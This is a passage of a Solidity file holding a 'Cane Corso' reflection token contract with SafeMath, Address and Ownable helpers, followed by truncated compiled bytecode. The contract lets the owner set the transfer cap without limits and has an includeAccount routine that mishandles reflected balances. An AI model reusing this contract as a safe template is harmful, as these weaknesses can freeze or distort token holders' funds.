gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract CaneCorso is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Cane Corso'; string private _symbol = 'CORSO'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e9961461063b578063d543dbeb14610695578063dd62ed3e146106c3578063f2cc0c181461073b578063f2fde38b1461077f578063f84354f1146107c35761014d565b8063715018a6146104945780637d1db4a51461049e5780638da5cb5b146104bc57806395d89b41146104f0578063a457c2d714610573578063a9059cbb146105d75761014d565b806323b872dd1161011557806323b872dd146102a35780632d83811914610327578063313ce56714610369578063395093511461038a5780634549b039146103ee57806370a082311461043c5761014d565b8063053ab1821461015257806306fdde0314610180578063095ea7b31461020357806313114a9d1461026757806318160ddd14610285575b600080fd5b61017e6004803603602081101561016857600080fd5b8101908080359060200190929190505050610807565b005b610188610997565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024f6004803603604081101561021957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a39565b60405180821515815260200191505060405180910390f35b61026f610a57565b6040518082815260200191505060405180910390f35b61028d610a61565b6040518082815260200191505060405180910390f35b61030f600480360360608110156102b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a74565b60405180821515815260200191505060405180910390f35b6103536004803603602081101561033d57600080fd5b8101908080359060200190929190505050610b4d565b6040518082815260200191505060405180910390f35b610371610bd1565b604051808260ff16815260200191505060405180910390f35b6103d6600480360360408110156103a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610be8565b60405180821515815260200191505060405180910390f35b6104266004803603604081101561040457600080fd5b8101908080359060200190929190803515159060200190929190505050610c9b565b6040518082815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d59565b6040518082815260200191505060405180910390f35b61049c610e44565b005b6104a6610fca565b6040518082815260200191505060405180910390f35b6104c4610fd0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104f8610ff9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053857808201518184015260208101905061051d565b50505050905090810190601f1680156105655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105bf6004803603604081101561058957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061109b565b60405180821515815260200191505060405180910390f35b610623600480360360408110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611168565b60405180821515815260200191505060405180910390f35b61067d6004803603602081101561065157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611186565b60405180821515815260200191505060405180910390f35b6106c1600480360360208110156106ab57600080fd5b81019080803590602001909291905050506111dc565b005b610725600480360360408110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112de565b6040518082815260200191505060405180910390f35b61077d6004803603602081101561075157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611365565b005b6107c16004803603602081101561079557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167f565b005b610805600480360360208110156107d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061188a565b005b6000610811611c14565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613552602c913960400191505060405180910390fd5b60006108c183611c1c565b50505050905061091981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097181600654611c7490919063ffffffff16565b60068190555061098c83600754611cbe90919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a2f5780601f10610a0457610100808354040283529160200191610a2f565b820191906000526020600020905b815481529060010190602001808311610a1257829003601f168201915b5050505050905090565b6000610a4d610a46611c14565b8484611d46565b6001905092915050565b6000600754905090565b60006a52b7d2dcc80cd2e4000000905090565b6000610a81848484611f3d565b610b4284610a8d611c14565b610b3d856040518060600160405280602881526020016134b860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610af3611c14565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246d9092919063ffffffff16565b611d46565b600190509392505050565b6000600654821115610baa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806133fd602a913960400191505060405180910390fd5b6000610bb461252d565b9050610bc9818461255890919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c91610bf5611c14565b84610c8c8560036000610c06611c14565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbe90919063ffffffff16565b611d46565b6001905092915050565b60006a52b7d2dcc80cd2e4000000831115610d1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610d3d576000610d2e84611c1c565b50505050905080915050610d53565b6000610d4884611c1c565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610df457600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610e3f565b610e3c600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4d565b90505b919050565b610e4c611c14565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110915780601f1061106657610100808354040283529160200191611091565b820191906000526020600020905b81548152906001019060200180831161107457829003601f168201915b5050505050905090565b600061115e6110a8611c14565b846111598560405180606001604052806025815260200161357e60259139600360006110d2611c14565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246d9092919063ffffffff16565b611d46565b6001905092915050565b600061117c611175611c14565b8484611f3d565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111e4611c14565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6112d560646112c7836a52b7d2dcc80cd2e40000006125a290919063ffffffff16565b61255890919063ffffffff16565b600b8190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61136d611c14565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461142d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115c15761157d600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b4d565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611687611c14565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611747576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806134276026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611892611c14565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611952576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611a11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611c10578173ffffffffffffffffffffffffffffffffffffffff1660058281548110611a4557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c0357600560016005805490500381548110611aa157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660058281548110611ad957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611bc957fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611c10565b8080600101915050611a14565b5050565b600033905090565b6000806000806000806000611c3088612628565b915091506000611c3e61252d565b90506000806000611c508c868661267a565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611cb683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061246d565b905092915050565b600080828401905083811015611d3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dcc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061352e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061344d6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611fc3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806135096025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612049576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133da6023913960400191505060405180910390fd5b600081116120a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806134e06029913960400191505060405180910390fd5b6120aa610fd0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561211857506120e8610fd0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561217957600b54811115612178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061346f6028913960400191505060405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561221c5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122315761222c8383836126d8565b612468565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122d45750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122e9576122e483838361292b565b612467565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561238d5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123a25761239d838383612b7e565b612466565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124445750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561245957612454838383612d3c565b612465565b612464838383612b7e565b5b5b5b5b505050565b600083831115829061251a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124df5780820151818401526020810190506124c4565b50505050905090810190601f16801561250c57808203805160018360200361010